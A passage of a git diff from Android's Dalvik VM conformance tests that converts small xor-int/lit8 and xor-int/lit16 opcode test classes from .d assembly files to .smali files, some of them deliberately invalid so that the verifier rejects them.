+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       xor-int/lit16 v1, v1, -32768
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.d
deleted file mode 100644
index a0906e6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_5.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide/16 v2, 12345
-       xor-int/lit16 v1, v2, -32768
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.smali
new file mode 100644
index 0000000..73b19f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide/16 v2, 12345
+       xor-int/lit16 v1, v2, -32768
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.d
deleted file mode 100644
index 5aa6343..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_6.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       xor-int/lit16 v1, v2, 1
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.smali
new file mode 100644
index 0000000..b122c58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       xor-int/lit16 v1, v2, 1
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.d
deleted file mode 100644
index ea16bae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_7.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 3
-
-       xor-int/lit16 v1, v2, 8
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.smali
new file mode 100644
index 0000000..f3ed789
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 3
+
+       xor-int/lit16 v1, v2, 8
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.d
deleted file mode 100644
index 5d8cb85..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_8.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 3
-
-       xor-int/lit16 v1, v3, 8
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.smali
new file mode 100644
index 0000000..5e113a8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 3
+
+       xor-int/lit16 v1, v3, 8
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.d
deleted file mode 100644
index 70c51f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_1.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 15
-       xor-int/lit8 v1, v1, 8
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.smali
new file mode 100644
index 0000000..19bed52
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 15
+       xor-int/lit8 v1, v1, 8
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.d
deleted file mode 100644
index d471d75..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_2.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v2, -8
-       xor-int/lit8 v1, v2, -15
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.smali
new file mode 100644
index 0000000..6a16e26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v2, -8
+       xor-int/lit8 v1, v2, -15
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.d
deleted file mode 100644
index f73909d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_3.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       xor-int/lit8 v1, v1, -1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.smali
new file mode 100644
index 0000000..dd43fa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       xor-int/lit8 v1, v1, -1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.d
deleted file mode 100644
index 6832299..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_4.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       xor-int/lit8 v1, v1, -128
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.smali
new file mode 100644
index 0000000..c02bb9e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       xor-int/lit8 v1, v1, -128
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.d
deleted file mode 100644
index 3a3da2b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_5.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide/16 v2, 12345
-       xor-int/lit8 v1, v2, -128
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.smali
new file mode 100644
index 0000000..77d5fec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide/16 v2, 12345
+       xor-int/lit8 v1, v2, -128
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.d
deleted file mode 100644
index b7bc40a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_6.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       xor-int/lit8 v1, v2, 1
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.smali
new file mode 100644
index 0000000..5c10d59
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       xor-int/lit8 v1, v2, 1
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.d
deleted file mode 100644
index 23e9337..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_7.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 3
-
-       xor-int/lit8 v1, v2, 8
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.smali
new file mode 100644
index 0000000..10c0f71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 3
+
+       xor-int/lit8 v1, v2, 8
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.d
deleted file mode 100644
index 0fc33fc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_8.java
